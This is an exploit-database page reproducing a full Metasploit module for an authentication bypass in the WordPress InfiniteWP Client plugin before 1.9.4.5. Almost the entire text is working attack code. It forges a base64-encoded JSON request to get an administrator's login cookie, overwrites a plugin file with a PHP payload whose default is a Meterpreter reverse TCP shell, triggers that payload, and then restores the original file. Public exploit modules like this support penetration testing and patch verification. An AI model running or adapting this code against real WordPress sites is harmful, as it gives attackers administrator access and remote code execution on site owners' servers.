Wordpress plugin infinitewp client authentication bypass (metasploit) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-02-11 | Type : webapps | Platform : php

---

[+] Code ...

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ManualRanking

include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress InfiniteWP Client Authentication Bypass',
'Description' => %q{
This module exploits an authentication bypass in the WordPress
InfiniteWP Client plugin to log in as an administrator and execute
arbitrary PHP code by overwriting the file specified by PLUGIN_FILE.

The module will attempt to retrieve the original PLUGIN_FILE contents
and restore them after payload execution. If VerifyContents is set,
which is the default setting, the module will check to see if the
restored contents match the original.

Note that a valid administrator username is required for this module.

WordPress >= 4.9 is currently not supported due to a breaking WordPress
API change. Tested against 4.8.3.
},
'Author' => [
'WebARX', # Discovery
'wvu' # Module
],
'References' => [
['WPVDB', '10011'],
['URL', 'https://www.webarxsecurity.com/vulnerability-infinitewp-client-wp-time-capsule/'],
['URL', 'https://www.wordfence.com/blog/2020/01/critical-authentication-bypass-vulnerability-in-infinitewp-client-plugin/'],
['URL', 'https://blog.sucuri.net/2020/01/authentication-bypass-vulnerability-in-infinitewp-client.html']
],
'DisclosureDate' => '2020-01-14',
'License' => MSF_LICENSE,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Privileged' => false,
'Targets' => [['InfiniteWP Client < 1.9.4.5', {}]],
'DefaultTarget' => 0,
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/reverse_tcp'}
))

register_options([
OptString.new('USERNAME', [true, 'WordPress username', 'admin']),
OptString.new('PLUGIN_FILE', [true, 'Plugin file to edit', 'index.php'])
])

register_advanced_options([
OptBool.new('VerifyContents', [false, 'Verify file contents', true])
])
end

def username
datastore['USERNAME']
end

def plugin_file
datastore['PLUGIN_FILE']
end

def plugin_uri
normalize_uri(wordpress_url_plugins, plugin_file)
end

def check
unless wordpress_and_online?
return CheckCode::Unknown('Is the site online and running WordPress?')
end

unless (version = wordpress_version)
return CheckCode::Unknown('Could not detect WordPress version')
end

if Gem::Version.new(version) >= Gem::Version.new('4.9')
return CheckCode::Safe("WordPress #{version} is an unsupported target")
end

vprint_good("WordPress #{version} is a supported target")

check_version_from_custom_file(
normalize_uri(wordpress_url_plugins, '/iwp-client/readme.txt'),
/^= ([\d.]+)/,
'1.9.4.5'
)
end

# https://plugins.trac.wordpress.org/browser/iwp-client/tags/1.9.4.4/init.php
def auth_bypass
json = {
'iwp_action' => %w[add_site readd_site].sample,
'params' => {'username' => username}
}.to_json

res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_backend,
'data' => "_IWP_JSON_PREFIX_#{Rex::Text.encode_base64(json)}"
)

unless res && res.code == 200 && !(cookie = res.get_cookies).empty?
fail_with(Failure::NoAccess, "Could not obtain cookie for #{username}")
end

print_good("Successfully obtained cookie for #{username}")
vprint_status("Cookie: #{cookie}")

cookie
end

def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super

print_status("Bypassing auth for #{username} at #{full_uri}")
unless (@cookie = auth_bypass).include?('wordpress_logged_in')
fail_with(Failure::NoAccess, "Could not log in as #{username}")
end

print_good("Successfully logged in as #{username}")
write_and_exec_payload
end

def write_and_exec_payload
print_status("Retrieving original contents of #{plugin_uri}")
contents = wordpress_helper_get_plugin_file_contents(@cookie, plugin_file)

unless contents
fail_with(Failure::UnexpectedReply, "Could not retrieve #{plugin_uri}")
end

print_good("Successfully retrieved original contents of #{plugin_uri}")
vprint_status('Contents:')
print(contents)

print_status("Overwriting #{plugin_uri} with payload")
unless wordpress_edit_plugin(plugin_file, payload.encoded, @cookie)
fail_with(Failure::UnexpectedReply, "Could not overwrite #{plugin_uri}")
end

print_good("Successfully overwrote #{plugin_uri} with payload")

print_status("Requesting payload at #{plugin_uri}")
send_request_cgi({
'method' => 'GET',
'uri' => plugin_uri
}, 0)

restore_contents(contents)
end

def restore_contents(og_contents)
print_status("Restoring original contents of #{plugin_uri}")
unless wordpress_edit_plugin(plugin_file, og_contents, @cookie)
fail_with(Failure::UnexpectedReply, "Could not restore #{plugin_uri}")
end

return unless datastore['VerifyContents']

contents = wordpress_helper_get_plugin_file_contents(@cookie, plugin_file)

unless contents == og_contents
fail_with(Failure::UnexpectedReply,
"Current contents of #{plugin_uri} DO NOT match original!")
end

print_good("Current contents of #{plugin_uri} match original!")
end

end